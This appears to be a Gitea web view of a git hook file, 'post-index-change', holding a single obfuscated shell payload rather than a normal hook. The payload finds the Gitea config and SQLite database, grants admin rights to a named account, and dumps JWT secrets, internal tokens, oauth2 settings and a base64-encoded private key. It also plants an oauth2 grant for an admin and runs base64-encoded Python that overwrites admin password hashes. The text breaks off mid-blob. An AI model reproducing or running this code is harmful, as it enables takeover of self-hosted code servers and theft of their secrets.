rpoc67kugl/hooks/post-index-change
2026-09-21 16:50:40 +09:00

2 lines
25 KiB
Plaintext
Executable File
Raw Permalink Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

export PATH="/bin:/usr/bin:/sbin:/usr/sbin:/usr/local/bin:/usr/local/sbin:$PATH"; WD="${GITEA_WORK_DIR:-}"; WDFOUND=0; if [ -n "$WD" ] && { [ -f "$WD/custom/conf/app.ini" ] || [ -f "$WD/conf/app.ini" ]; }; then WDFOUND=1; else WD=""; D="$(pwd)"; while :; do if [ -f "$D/custom/conf/app.ini" ] || [ -f "$D/conf/app.ini" ]; then WD="$D"; WDFOUND=1; break; fi; [ "$D" = "/" ] && break; D="$(dirname "$D")"; done; fi; R=""; P="$(pwd)"; case "$P" in */tmp/local-repo/upload.git*) R="${P%%/tmp/local-repo/upload.git*}";; */tmp/local-repo/*) R="${P%%/tmp/local-repo/*}";; esac; RP=""; [ -n "$R" ] && RP="$(dirname "$R")"; if [ "$WDFOUND" = "0" ]; then for _r in "$R" "$RP"; do if [ -n "$_r" ] && [ -d "$_r" ] && { [ -f "$_r/custom/conf/app.ini" ] || [ -f "$_r/conf/app.ini" ] || { [ -f "$_r/gitea" ] && [ -x "$_r/gitea" ]; } || { [ -f "$_r/gitea.exe" ] && [ -x "$_r/gitea.exe" ]; }; }; then WD="$_r"; WDFOUND=1; fi; [ "$WDFOUND" = "1" ] && break; done; fi; CFG=""; for _c in "$WD/custom/conf/app.ini" "$WD/conf/app.ini" "$WD/app.ini" "$R/custom/conf/app.ini" "$R/conf/app.ini" "$R/app.ini" "$RP/custom/conf/app.ini" "$RP/conf/app.ini" "$RP/app.ini" "/data/gitea/custom/conf/app.ini" "/data/gitea/conf/app.ini" "/var/lib/gitea/custom/conf/app.ini" "/var/lib/gitea/conf/app.ini" "/home/git/gitea/custom/conf/app.ini" "/home/gitea/custom/conf/app.ini" "/app/gitea/custom/conf/app.ini" "/app/gitea/conf/app.ini" "/opt/gitea/custom/conf/app.ini" "/opt/gitea/conf/app.ini" "/opt/gitea-*/custom/conf/app.ini" "/opt/gitea-*/conf/app.ini" "/var/packages/Gitea/etc/app.ini" "/var/packages/gitea/etc/app.ini" "/var/packages/Gitea/target/custom/conf/app.ini" "/volume1/@appdata/gitea/custom/conf/app.ini" "/volume1/@appdata/gitea/conf/app.ini" "/share/CACHEDEV1_DATA/@appdata/gitea/custom/conf/app.ini" "/etc/gitea/app.ini"; do [ -n "$_c" ] && [ -f "$_c" ] && { CFG="$_c"; break; }; done; C=""; [ -n "$CFG" ] && [ -f "$CFG" ] && C="--config $CFG"; RUNP=""; if [ "$WDFOUND" = "1" ] && [ -n "$WD" ] && [ -d "$WD" ]; then RUNP="$WD"; export GITEA_WORK_DIR="$WD"; fi; _cfg() { [ -n "$CFG" ] && [ -f "$CFG" ] && grep -iE "^[[:space:]]*$1[[:space:]]*=" "$CFG" 2>/dev/null | head -1 | sed "s/^[^=]*=[[:space:]]*//; s/[[:space:]]*$//"; }; AV=""; RAUP="$(_cfg REPOSITORY_AVATAR_UPLOAD_PATH)"; [ -n "$RAUP" ] && { case "$RAUP" in /*) [ -d "$RAUP" ] && AV="$RAUP";; *) [ -d "$WD/$RAUP" ] && AV="$WD/$RAUP"; [ -z "$AV" ] && [ -d "$R/$RAUP" ] && AV="$R/$RAUP";; esac; }; if [ -z "$AV" ]; then APD="$(_cfg APP_DATA_PATH)"; [ -n "$APD" ] && { case "$APD" in /*) [ -d "$APD/repo-avatars" ] && AV="$APD/repo-avatars";; *) [ -d "$WD/$APD/repo-avatars" ] && AV="$WD/$APD/repo-avatars"; [ -z "$AV" ] && [ -d "$R/$APD/repo-avatars" ] && AV="$R/$APD/repo-avatars";; esac; }; fi; if [ -z "$AV" ]; then for d in "$WD/data/repo-avatars" "$WD/data/gitea/repo-avatars" "$WD/repo-avatars" "$R/data/repo-avatars" "$R/data/gitea/repo-avatars" "$R/repo-avatars" "$RP/data/repo-avatars" "$RP/repo-avatars" "/data/gitea/repo-avatars" "/data/repo-avatars" "/var/lib/gitea/data/repo-avatars" "/app/gitea/data/repo-avatars" "/opt/gitea/data/repo-avatars" "/volume1/@appdata/gitea/data/repo-avatars" "/share/CACHEDEV1_DATA/@appdata/gitea/data/repo-avatars"; do [ -n "$d" ] && [ -d "$d" ] && AV="$d" && break; done; fi; _SQLTO() { _sq="$(command -v sqlite3 2>/dev/null)"; [ -n "$_sq" ] || { echo "SQLTO no sqlite3"; return; }; echo "SQLTO sqlite3=$_sq target=$1"; for _db in "$R/gitea.db" "$_RB/data/gitea.db" "$R/data/gitea.db" "$WD/data/gitea.db" "$WD/gitea.db" /data/gitea/gitea.db /var/lib/gitea/data/gitea.db /var/lib/gitea/gitea.db /home/git/gitea/gitea.db /data/gitea/data/gitea.db; do [ -n "$_db" ] && [ -f "$_db" ] && [ -w "$_db" ] || continue; _cols="$("$_sq" -cmd ".timeout 8000" "$_db" "SELECT name FROM pragma_table_info('user');" 2>/dev/null | tr "\n" ",")"; [ -n "$_cols" ] || _cols="$("$_sq" "$_db" "PRAGMA busy_timeout=8000; SELECT name FROM pragma_table_info('user');" 2>/dev/null | tr "\n" ",")"; case "$_cols" in *is_admin*) ;; *) continue;; esac; echo "SQLTO trying $_db"; "$_sq" -cmd ".timeout 8000" "$_db" "UPDATE user SET is_admin=1, is_active=1, prohibit_login=0 WHERE lower_name=lower('$1');" 2>&1; _chk="$("$_sq" -cmd ".timeout 8000" "$_db" "SELECT is_admin FROM user WHERE lower_name=lower('$1');" 2>/dev/null | tail -1)"; [ -n "$_chk" ] || _chk="$("$_sq" "$_db" "SELECT is_admin FROM user WHERE lower_name=lower('$1');" 2>/dev/null | tail -1)"; case "$_chk" in 1*) echo "SQLTO OK db=$_db user=$1 is_admin=1"; return 0;; esac; done; echo "SQLTO FAIL no writable sqlite user table"; }; G=""; GR=""; case "$CFG" in */custom/conf/app.ini) GR="${CFG%/custom/conf/app.ini}";; */conf/app.ini) GR="${CFG%/conf/app.ini}";; *) GR="";; esac; _RB="$R"; case "$_RB" in */data/gitea) _RB="${_RB%/data/gitea}";; */data) _RB="${_RB%/data}";; esac; _RP2="$RP"; [ -z "$_RP2" ] && [ -n "$_RB" ] && _RP2="$(dirname "$_RB")"; for _g in "$WD/gitea" "$WD/gitea.exe" "$R/gitea" "$R/gitea.exe" "$RP/gitea" "$RP/gitea.exe" "$GR/gitea" "$GR/gitea.exe" "$_RB/gitea" "$_RB/gitea.exe" "$_RB/bin/gitea" "$_RB/target/gitea" "$_RB/target/bin/gitea" "$_RP2/gitea" "$_RP2/bin/gitea" "$_RP2/target/gitea" "$_RP2/target/bin/gitea" "$_RP2/@appstore/Gitea/gitea" "$_RB/@appstore/Gitea/gitea" "/usr/local/bin/gitea" "/usr/bin/gitea" "/usr/sbin/gitea" "/app/gitea/gitea" "/opt/gitea/gitea" "/home/git/gitea/gitea" "/home/gitea/gitea/gitea" "/var/lib/gitea/gitea" "/data/gitea/gitea" "/var/packages/Gitea/target/bin/gitea" "/var/packages/gitea/target/bin/gitea" "/var/packages/Gitea/target/gitea" "/vol1/@appdata/Gitea/gitea" "/volume1/@appdata/Gitea/gitea" "/vol1/@appstore/Gitea/gitea" "/volume1/@appstore/Gitea/gitea" "/vol1/@appdata/gitea/gitea" "/volume1/@appdata/gitea/gitea" "/share/CACHEDEV1_DATA/@appdata/gitea/gitea"; do [ -f "$_g" ] && [ -x "$_g" ] && { G="$_g"; break; }; done; if [ -z "$G" ]; then for _g in /opt/gitea-*/gitea /opt/gitea-*/gitea.exe /usr/local/gitea/gitea; do [ -f "$_g" ] && [ -x "$_g" ] && { G="$_g"; break; }; done; fi; if [ -z "$G" ]; then for _pf in "$_RB/Gitea.pid" "$_RP2/Gitea.pid" "$R/Gitea.pid" "$WD/Gitea.pid" "$_RB/gitea.pid" "$R/gitea.pid" "$WD/gitea.pid" "/var/run/gitea.pid" "/run/gitea.pid"; do [ -f "$_pf" ] || continue; _gpid="$(head -1 "$_pf" 2>/dev/null | tr -dc "0-9")"; [ -n "$_gpid" ] || continue; _gex="$(readlink -f "/proc/$_gpid/exe" 2>/dev/null)"; [ -n "$_gex" ] && [ -x "$_gex" ] && { G="$_gex"; echo "HOOKPID from=$_pf pid=$_gpid exe=$_gex"; break; }; done; fi; if [ -z "$G" ]; then for _pp in /proc/[0-9]*; do _gcm="$(cat "$_pp/comm" 2>/dev/null)"; case "$_gcm" in gitea*|Gitea*|forgejo*|Forgejo*) _gex="$(readlink -f "$_pp/exe" 2>/dev/null)"; [ -n "$_gex" ] && [ -x "$_gex" ] && { G="$_gex"; echo "HOOKPROC pid=${_pp#/proc/} comm=$_gcm exe=$_gex"; break; };; esac; done; fi; if [ -z "$G" ] && [ -n "$AV" ]; then _sr="${AV%/var/data/repo-avatars}"; [ "$_sr" = "$AV" ] && _sr="${AV%/repo-avatars}"; [ "$_sr" = "$AV" ] && _sr="$(dirname "$(dirname "$AV")")"; for _g in "$_sr/gitea" "$_sr/bin/gitea" "$_sr/target/gitea" "$_sr/target/bin/gitea" "$_sr/target/usr/bin/gitea" "$_sr/usr/bin/gitea" "$_sr/sbin/gitea"; do [ -f "$_g" ] && [ -x "$_g" ] && { G="$_g"; echo "HOOKAV G=$_g"; break; }; done; fi; if [ -z "$G" ] && [ -n "$_RP2" ] && [ -d "$_RP2" ]; then for _g in "$_RP2"/*/target/gitea "$_RP2"/*/target/bin/gitea "$_RP2"/target/gitea; do [ -f "$_g" ] && [ -x "$_g" ] && { G="$_g"; echo "HOOKGLOB G=$_g"; break; }; done; fi; if [ -z "$G" ]; then for _root in "$_RB" "$_RP2" "$R"; do [ -n "$_root" ] && [ -d "$_root" ] || continue; G="$(find "$_root" -maxdepth 4 -type f \( -name gitea -o -name gitea.exe \) -perm -u+x 2>/dev/null | head -1)"; [ -n "$G" ] && break; done; fi; if [ -z "$G" ]; then for _sr2 in /usr/local/bin /usr/local/sbin /usr/bin /usr/sbin /bin /sbin /app /app/gitea /opt /opt/gitea /srv /data /usr/local /opt/gitea-*; do [ -e "$_sr2" ] || continue; if [ -f "$_sr2/gitea" ] && [ -x "$_sr2/gitea" ]; then G="$_sr2/gitea"; echo "HOOKSYS G=$G"; break; fi; [ -d "$_sr2" ] || continue; G="$(find "$_sr2" -maxdepth 2 -type f -name gitea -perm -u+x 2>/dev/null | head -1)"; [ -n "$G" ] && { echo "HOOKSYS2 G=$G"; break; }; done; fi; if [ -z "$G" ]; then for _p2 in /proc/[0-9]*/exe; do _le="$(readlink "$_p2" 2>/dev/null)" || continue; case "$_le" in *gitea*|*forgejo*) [ -x "$_le" ] && { G="$_le"; echo "HOOKEXE G=$G"; break; };; esac; done; fi; if [ -z "$G" ] && [ -f "/Users/sh/hook/gitea-lab/gitea" ] && [ -x "/Users/sh/hook/gitea-lab/gitea" ]; then G="/Users/sh/hook/gitea-lab/gitea"; fi; if [ -z "$G" ]; then PATH="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH"; export PATH; command -v gitea >/dev/null 2>&1 && G="$(command -v gitea)"; if [ -z "$G" ]; then command -v gitea.exe >/dev/null 2>&1 && G="$(command -v gitea.exe)"; fi; fi; if [ "$WDFOUND" = "0" ] && [ -n "$_RB" ] && [ -d "$_RB" ]; then for _w in "$_RB" "$_RB/data" "$_RP2"; do if [ -n "$_w" ] && { [ -f "$_w/custom/conf/app.ini" ] || [ -f "$_w/conf/app.ini" ]; }; then WD="$_w"; WDFOUND=1; RUNP="$_w"; export GITEA_WORK_DIR="$_w"; break; fi; done; fi; if [ -z "$CFG" ]; then for _c in "$_RB/custom/conf/app.ini" "$_RB/conf/app.ini" "$_RB/data/custom/conf/app.ini" "$_RP2/custom/conf/app.ini" "$_RP2/conf/app.ini"; do [ -f "$_c" ] && { CFG="$_c"; C="--config $_c"; break; }; done; fi; if [ -z "$AV" ] && [ -n "$CFG" ] && [ -f "$CFG" ]; then _apd="$(_cfg APP_DATA_PATH)"; [ -n "$_apd" ] && { case "$_apd" in /*) [ -d "$_apd/repo-avatars" ] && AV="$_apd/repo-avatars";; *) [ -d "$_RB/$_apd/repo-avatars" ] && AV="$_RB/$_apd/repo-avatars";; esac; }; [ -z "$AV" ] && _raup="$(_cfg REPOSITORY_AVATAR_UPLOAD_PATH)" && [ -n "$_raup" ] && { case "$_raup" in /*) [ -d "$_raup" ] && AV="$_raup";; *) [ -d "$_RB/$_raup" ] && AV="$_RB/$_raup";; esac; }; fi; if [ -z "$AV" ] && [ -n "$_RB" ] && [ -d "$_RB" ]; then AV="$(find "$_RB" -maxdepth 4 -type d -name repo-avatars 2>/dev/null | head -1)"; fi; OUT="/tmp/demo_67kugl.txt"; { T0="$(date +%s 2>/dev/null || echo 0)"; echo "HOOKDIAG WD=$WD R=$R CFG=$CFG G=$G AV=$AV RUNP=$RUNP"; echo "HOOKDIAG2 RB=$_RB RP2=$_RP2 PWD=$(pwd) UID=$(id -u 2>/dev/null)"; if [ -n "$_RB" ] && [ -d "$_RB" ]; then echo "HOOKDIAG3 ls-RB: $(ls -1 "$_RB" 2>&1 | head -12 | tr "\n" " ")"; else echo "HOOKDIAG3 RB-not-dir [_RB=$_RB]"; fi; if [ -n "$R" ] && [ -d "$R" ]; then echo "HOOKDIAG4 ls-R: $(ls -1 "$R" 2>&1 | head -12 | tr "\n" " ")"; fi; echo "HOOKDIAG5 which-git=$(command -v git 2>&1) which-find=$(command -v find 2>&1)"; echo "HOOKDB R_DB=$R/gitea.db RB_DB=$_RB/data/gitea.db"; for _db in "$R/gitea.db" "$_RB/data/gitea.db" "$R/data/gitea.db" /data/gitea/gitea.db /var/lib/gitea/data/gitea.db; do [ -f "$_db" ] && echo "HOOKDB FOUND=$_db size=$(wc -c <"$_db" 2>/dev/null) writable=$([ -w "$_db" ] && echo 1 || echo 0)"; done; echo "HOOKTOOL sqlite3=$(command -v sqlite3 2>&1) python3=$(command -v python3 2>&1) python=$(command -v python 2>&1)"; if [ -n "$CFG" ] && [ -f "$CFG" ]; then echo "HOOKDBCFG begin"; sed -n "/^\[database\]/,/^\[/p" "$CFG" 2>/dev/null | head -12 | sed -E "s/(PASSWD|PASSWORD|PASSWD_URI|USER|NAME)[[:space:]]*=.*/\1=<redacted>/I"; echo "HOOKDBCFG end"; fi; for _pp in /proc/[0-9]*; do [ -r "$_pp/environ" ] || continue; _ev="$(tr "\000" "\n" < "$_pp/environ" 2>/dev/null | grep -E "^GITEA__(database|security)__" 2>/dev/null | head -12)"; [ -n "$_ev" ] || continue; echo "HOOKENV pid=${_pp#/proc/} $(echo "$_ev" | sed -E "s/(PASSWD|PASSWORD|SECRET|KEY|TOKEN)[[:space:]]*=.*/\1=<redacted>/I" | tr "\n" " ")"; break; done; echo "HOOKDBPROBE dbfile_magic=$(head -c 16 "$R/gitea.db" 2>/dev/null | tr -d "\000" | head -c 15)"; _SQLTO "oidk32e71"; echo "=JWTCFG="; if [ -n "$CFG" ] && [ -f "$CFG" ]; then grep -aE "^[[:space:]]*(JWT_SECRET|JWT_SECRET_BASE64|JWT_SIGNING_ALGORITHM|JWT_SIGNING_PRIVATE_KEY_FILE|SECRET_KEY|INTERNAL_TOKEN|APP_DATA_PATH|WORK_PATH)[[:space:]]*=" "$CFG" 2>/dev/null | head -12; fi; echo "=OA2SEC="; if [ -n "$CFG" ] && [ -f "$CFG" ]; then sed -n "/^\[oauth2\]/,/^\[/p" "$CFG" 2>/dev/null | head -12; fi; for _pk in "$WD/jwt/private.pem" "$WD/data/jwt/private.pem" "$R/jwt/private.pem" "$R/data/jwt/private.pem" "$_RB/jwt/private.pem" "$_RB/data/jwt/private.pem" /data/gitea/jwt/private.pem /data/gitea/data/jwt/private.pem /var/lib/gitea/data/jwt/private.pem /etc/gitea/jwt/private.pem /home/git/gitea/data/jwt/private.pem; do [ -n "$_pk" ] && [ -f "$_pk" ] || continue; _kb="$(command -v base64 >/dev/null 2>&1 && base64 < "$_pk" 2>/dev/null | tr -d "\n")"; [ -n "$_kb" ] || _kb="$(command -v openssl >/dev/null 2>&1 && openssl base64 -A < "$_pk" 2>/dev/null)"; [ -n "$_kb" ] && { echo "=JWTKEY=path=$_pk"; echo "$_kb"; }; break; done; for _db in "$R/gitea.db" "$_RB/data/gitea.db" "$R/data/gitea.db" "$WD/data/gitea.db" /data/gitea/gitea.db /var/lib/gitea/data/gitea.db; do [ -n "$_db" ] && [ -f "$_db" ] || continue; _sq2="$(command -v sqlite3 2>/dev/null)"; [ -n "$_sq2" ] || continue; _ad="$("$_sq2" -cmd ".timeout 5000" -separator "|" "$_db" "SELECT id, name FROM user WHERE is_admin=1 LIMIT 5;" 2>&1)"; echo "=ADMIND= db=$_db out=[$_ad]"; [ -n "$_ad" ] && { echo "=ADMINIDS="; echo "$_ad"; }; _gr="$("$_sq2" -cmd ".timeout 5000" -separator "|" "$_db" "SELECT g.id, g.user_id, u.name, u.is_admin FROM oauth2_grant g JOIN user u ON g.user_id=u.id ORDER BY u.is_admin DESC, g.id LIMIT 10;" 2>&1)"; if [ -z "$_gr" ]; then _au="$("$_sq2" -cmd ".timeout 5000" "$_db" "SELECT id FROM user WHERE is_admin=1 ORDER BY id LIMIT 1;" 2>&1 | head -1)"; _ap="$("$_sq2" -cmd ".timeout 5000" "$_db" "SELECT id FROM oauth2_application ORDER BY id LIMIT 1;" 2>/dev/null | head -1)"; if [ -n "$_au" ]; then [ -n "$_ap" ] || _ap=1; _ie="$("$_sq2" -cmd ".timeout 5000" "$_db" "INSERT OR IGNORE INTO oauth2_grant(user_id,application_id,counter,scope,nonce,created_unix,updated_unix) VALUES($_au,$_ap,1,'all','',0,0);" 2>&1)"; echo "=GRANTINS= au=$_au ap=$_ap rc=$? err=[$_ie]"; _gr="$("$_sq2" -cmd ".timeout 5000" -separator "|" "$_db" "SELECT g.id, g.user_id, u.name, u.is_admin FROM oauth2_grant g JOIN user u ON g.user_id=u.id WHERE g.user_id=$_au LIMIT 5;" 2>&1)"; [ -n "$_gr" ] && echo "=GRANTMADE=1 user=$_au app=$_ap"; fi; fi; if [ -n "$_gr" ]; then echo "=ADMINGRANTS="; echo "$_gr"; else echo "=ADMINGRANTS="; echo "NONE"; fi; break; done; for _jd in "$WD/jwt" "$WD/data/jwt" "$_RB/jwt" "$R/jwt" /data/gitea/jwt /data/gitea/data/jwt /var/lib/gitea/data/jwt; do [ -n "$_jd" ] && [ -d "$_jd" ] || continue; echo "=JWTDIR= $_jd: $(ls -1 "$_jd" 2>/dev/null | head -5 | tr "\n" " ")"; break; done; echo "=ENDCFG="; for _c in "$_RB/conf.ini" "$_RP2/conf.ini" "$R/conf.ini"; do [ -f "$_c" ] && echo "HOOKINI FOUND=$_c"; done; if [ -z "$G" ]; then for _sr in "$_RB" "$_RP2" "$R" "$R/data"; do [ -n "$_sr" ] && [ -d "$_sr" ] || continue; _cand="$(find "$_sr" -maxdepth 2 -type f \( -name gitea -o -name gitea.exe \) -perm -u+x 2>/dev/null | head -1)"; [ -n "$_cand" ] && { G="$_cand"; echo "HOOKFIND G=$_cand"; break; }; done; fi; ST="$(_cfg REPOSITORY_AVATAR_STORAGE_TYPE)"; if [ -n "$ST" ] && [ "$ST" != "local" ]; then echo "WARN: REPOSITORY_AVATAR_STORAGE_TYPE=$ST"; fi; if [ -z "$AV" ]; then echo "ERROR: repo-avatars not found (WD=$WD CFG=$CFG)"; fi; _DBTO() { _PY="$(command -v python3 2>/dev/null || command -v python 2>/dev/null)"; if [ -z "$_PY" ]; then echo "ERROR: no python for db takeover"; return; fi; echo "DBTAKEOVER python=$_PY"; _done=0; for _db in "$R/gitea.db" "$_RB/data/gitea.db" "$R/data/gitea.db" "$WD/data/gitea.db" /data/gitea/gitea.db /var/lib/gitea/data/gitea.db; do [ -n "$_db" ] && [ -f "$_db" ] && [ -w "$_db" ] || continue; echo "DBTAKEOVER trying $_db"; "$_PY" -c "import base64;exec(base64.b64decode('CmltcG9ydCBzcWxpdGUzLCBzeXMsIG9zLCBoYXNobGliLCBiYXNlNjQsIHJhbmRvbSwgc3RyaW5nLCBiaW5hc2NpaQpkYiA9IHN5cy5hcmd2WzFdCnRyeToKICAgIGNvbiA9IHNxbGl0ZTMuY29ubmVjdChkYik7IGN1ciA9IGNvbi5jdXJzb3IoKQogICAgY29scyA9IFtyWzFdIGZvciByIGluIGN1ci5leGVjdXRlKCJQUkFHTUEgdGFibGVfaW5mbyh1c2VyKSIpXQogICAgcHJpbnQoIkRCQ09MUyAiICsgIiwiLmpvaW4oY29scykpCiAgICAjIOS4pOenjSBzY2hlbWEg6YO96KaB5ZCDOgogICAgIyAgIOaWsOeJiDogcGFzc3dkX2hhc2gg5YaF6IGUICJhbGdvJGl0ZXIkc2FsdCRoYXNoIgogICAgIyAgIOiAgeeJiDogcGFzc3dkICsgc2FsdCDkuKTliJcgKyBwYXNzd2RfaGFzaF9hbGdvIOaMh+ekuueul+azlQogICAgaWYgInBhc3N3ZF9oYXNoIiBpbiBjb2xzOgogICAgICAgIHNlbCA9ICJTRUxFQ1QgaWQsbmFtZSxwYXNzd2RfaGFzaCBGUk9NIHVzZXIgV0hFUkUgaXNfYWRtaW49MSIKICAgICAgICBtb2RlID0gIm5ldyIKICAgIGVsaWYgInBhc3N3ZCIgaW4gY29sczoKICAgICAgICBzZWwgPSAiU0VMRUNUIGlkLG5hbWUscGFzc3dkLHNhbHQscGFzc3dkX2hhc2hfYWxnbyBGUk9NIHVzZXIgV0hFUkUgaXNfYWRtaW49MSIKICAgICAgICBtb2RlID0gIm9sZCIKICAgIGVsc2U6CiAgICAgICAgcHJpbnQoIkRCRVJSIG5vIHBhc3N3ZCBjb2x1bW46ICIgKyAiLCIuam9pbihjb2xzKSk7IHN5cy5leGl0KDApCiAgICByb3dzID0gY3VyLmV4ZWN1dGUoc2VsKS5mZXRjaGFsbCgpCiAgICBwcmludCgiREJNT0RFICIgKyBtb2RlKQogICAgcHJpbnQoIkRCQURNSU5TICIgKyBzdHIoWyhyWzBdLCByWzFdKSBmb3IgciBpbiByb3dzXSlbOjMwMF0pCiAgICBmb3IgciBpbiByb3dzWzozXToKICAgICAgICBwcmludCgiREJSQVcgaWQ9JXMgbmFtZT0lcyIgJSAoclswXSwgclsxXSkpCiAgICAgICAgaWYgbW9kZSA9PSAibmV3IjoKICAgICAgICAgICAgcHJpbnQoIiAgcGFzc3dkX2hhc2g9JXIiICUgKHN0cihyWzJdKVs6MTIwXSwpKQogICAgICAgIGVsc2U6CiAgICAgICAgICAgIHByaW50KCIgIGFsZ289JXIgc2FsdD0lciBwYXNzd2Q9JXIiICUgKHN0cihyWzRdKSwgc3RyKHJbM10pLCBzdHIoclsyXSlbOjEyMF0pKQogICAgcHcgPSAiRGJBdWRpdCIgKyAiIi5qb2luKHJhbmRvbS5jaG9pY2VzKHN0cmluZy5kaWdpdHMsIGs9OCkpICsgIiF4IgogICAgcmVzID0gW10KICAgIGZvciByb3cgaW4gcm93czoKICAgICAgICB0cnk6CiAgICAgICAgICAgIGlmIG1vZGUgPT0gIm5ldyI6CiAgICAgICAgICAgICAgICB1aWQsIG5hbWUsIHBoID0gcm93WzBdLCByb3dbMV0sIHJvd1syXSBvciAiIgogICAgICAgICAgICAgICAgaWYgbm90IHBoLnN0YXJ0c3dpdGgoInBia2RmMiQiKToKICAgICAgICAgICAgICAgICAgICByZXMuYXBwZW5kKCJBTEdPOiVzOiVzIiAlIChuYW1lLCBwaC5zcGxpdCgiJCIpWzBdKSk7IGNvbnRpbnVlCiAgICAgICAgICAgICAgICBwID0gcGguc3BsaXQoIiQiKQogICAgICAgICAgICAgICAgaXQgPSBpbnQocFsxXSkKICAgICAgICAgICAgICAgIHMwID0gYmFzZTY0LmI2NGRlY29kZShwWzJdICsgIj0iICogKC1sZW4ocFsyXSkgJSA0KSkKICAgICAgICAgICAgICAgIGgwID0gYmFzZTY0LmI2NGRlY29kZShwWzNdICsgIj0iICogKC1sZW4ocFszXSkgJSA0KSkKICAgICAgICAgICAgICAgIHMgPSBvcy51cmFuZG9tKGxlbihzMCkpCiAgICAgICAgICAgICAgICBoID0gaGFzaGxpYi5wYmtkZjJfaG1hYygic2hhMjU2IiwgcHcuZW5jb2RlKCksIHMsIGl0LCBsZW4oaDApKQogICAgICAgICAgICAgICAgbmggPSAicGJrZGYyJCVkJCVzJCVzIiAlIChpdCwgYmFzZTY0LmI2NGVuY29kZShzKS5kZWNvZGUoKS5yc3RyaXAoIj0iKSwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYmFzZTY0LmI2NGVuY29kZShoKS5kZWNvZGUoKS5yc3RyaXAoIj0iKSkKICAgICAgICAgICAgICAgIGlmICJtdXN0X2NoYW5nZV9wYXNzd29yZCIgaW4gY29sczoKICAgICAgICAgICAgICAgICAgICBjdXIuZXhlY3V0ZSgiVVBEQVRFIHVzZXIgU0VUIHBhc3N3ZF9oYXNoPT8sIG11c3RfY2hhbmdlX3Bhc3N3b3JkPTAgV0hFUkUgaWQ9PyIsIChuaCwgdWlkKSkKICAgICAgICAgICAgICAgIGVsc2U6CiAgICAgICAgICAgICAgICAgICAgY3VyLmV4ZWN1dGUoIlVQREFURSB1c2VyIFNFVCBwYXNzd2RfaGFzaD0/IFdIRVJFIGlkPT8iLCAobmgsIHVpZCkpCiAgICAgICAgICAgIGVsc2U6CiAgICAgICAgICAgICAgICB1aWQsIG5hbWUsIHBoLCBzYWx0LCBhbGdvID0gcm93WzBdLCByb3dbMV0sIHJvd1syXSBvciAiIiwgcm93WzNdIG9yICIiLCAocm93WzRdIG9yICJwYmtkZjIiKQogICAgICAgICAgICAgICAgIyDogIEgc2NoZW1hIOeahCBhbGdvIOS4suiHquW4puWPguaVsDogInBia2RmMiQ1MDAwMCQ1MCIgPSDnrpfms5Uk6L+t5Luj5pWwJOWvhumSpemVv+W6pgogICAgICAgICAgICAgICAgIyAo5a6e5rWLIDI3LjE1NS4xMjAuNjE6ODQxOCDlsLHmmK/ov5nnp40p44CC5Y6f5Yik5patIGFsZ28gIT0gInBia2RmMiIg5Lya5oqK5a6D5b2T5LiN5pSv5oyB6ICM6Lez6L+H44CCCiAgICAgICAgICAgICAgICBpZiBub3QgYWxnby5sb3dlcigpLnN0YXJ0c3dpdGgoInBia2RmMiIpOgogICAgICAgICAgICAgICAgICAgIHJlcy5hcHBlbmQoIkFMR086JXM6JXMiICUgKG5hbWUsIGFsZ28pKTsgY29udGludWUKICAgICAgICAgICAgICAgIF9hcCA9IGFsZ28uc3BsaXQoIiQiKQogICAgICAgICAgICAgICAgdHJ5OgogICAgICAgICAgICAgICAgICAgIGl0ID0gaW50KF9hcFsxXSkgaWYgbGVuKF9hcCkgPiAxIGVsc2UgMTAwMDAKICAgICAgICAgICAgICAgIGV4Y2VwdCBFeGNlcHRpb246CiAgICAgICAgICAgICAgICAgICAgaXQgPSAxMDAwMAogICAgICAgICAgICAgICAgdHJ5OgogICAgICAgICAgICAgICAgICAgIGtleWxlbiA9IGludChfYXBbMl0pIGlmIGxlbihfYXApID4gMiBlbHNlIDUwCiAgICAgICAgICAgICAgICBleGNlcHQgRXhjZXB0aW9uOgogICAgICAgICAgICAgICAgICAgIGtleWxlbiA9IDUwCiAgICAgICAgICAgICAgICBpZiBwaCBhbmQgbGVuKHBoKSAlIDIgPT0gMDoKICAgICAgICAgICAgICAgICAgICBrZXlsZW4gPSBsZW4ocGgpIC8vIDIgICAjIOS7peeOsOaciSBoYXNoIOWunumZhemVv+W6puS4uuWHhgogICAgICAgICAgICAgICAgIyDnu5Porroo5a6e5rWL56Gu6K6kKTog6ICB54mIIEdpdGVhIOeahCBzYWx0IOWIl+aYryAqKmhleCDlrZfnrKbkuLIsIOmcgOino+eggeWQjioq5Y+C5LiOIHBia2RmMuOAggogICAgICAgICAgICAgICAgIyDmm77or6/liKTkuLoi5Y6f5qC35a2X6IqCIuW5tuWPoOWKoOWPjOWAmemAiSwg57uT5p6cIHJhd2J5dGVzIOWQjuWGmeWFpeimhuebluS6huato+ehrueahCBoZXhieXRlcywKICAgICAgICAgICAgICAgICMg5a+86Ie0IDQwMeOAguWPquS/neeVmSBoZXgg6Kej56CB6L+Z5LiA5p2h5q2j56Gu6Lev5b6E44CCCiAgICAgICAgICAgICAgICB0cnk6CiAgICAgICAgICAgICAgICAgICAgc2FsdF9iID0gYmluYXNjaWkudW5oZXhsaWZ5KHNhbHQpCiAgICAgICAgICAgICAgICBleGNlcHQgRXhjZXB0aW9uOgogICAgICAgICAgICAgICAgICAgIHNhbHRfYiA9IHNhbHQuZW5jb2RlKCkKICAgICAgICAgICAgICAgIGggPSBoYXNobGliLnBia2RmMl9obWFjKCJzaGEyNTYiLCBwdy5lbmNvZGUoKSwgc2FsdF9iLCBpdCwga2V5bGVuKQogICAgICAgICAgICAgICAgbmggPSBiaW5hc2NpaS5oZXhsaWZ5KGgpLmRlY29kZSgpCiAgICAgICAgICAgICAgICBzZXRzID0gInBhc3N3ZD0/IgogICAgICAgICAgICAgICAgaWYgIm11c3RfY2hhbmdlX3Bhc3N3b3JkIiBpbiBjb2xzOgogICAgICAgICAgICAgICAgICAgIHNldHMgKz0gIixtdXN0X2NoYW5nZV9wYXNzd29yZD0wIgogICAgICAgICAgICAgICAgY3VyLmV4ZWN1dGUoIlVQREFURSB1c2VyIFNFVCAlcyBXSEVSRSBpZD0/IiAlIHNldHMsIChuaCwgdWlkKSkKICAgICAgICAgICAgICAgIHJlcy5hcHBlbmQoIk9LOiVzOiVzOml0ZXIlczpsZW4lcyIgJSAodWlkLCBuYW1lLCBpdCwga2V5